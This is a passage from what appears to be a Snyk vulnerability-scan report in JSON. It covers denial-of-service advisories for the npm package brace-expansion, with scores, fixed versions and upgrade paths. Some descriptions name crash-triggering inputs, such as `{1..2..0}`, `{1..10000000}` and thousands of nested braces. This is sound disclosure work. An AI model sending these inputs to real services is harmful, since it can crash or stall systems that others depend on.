"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.14.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.14.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.14.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 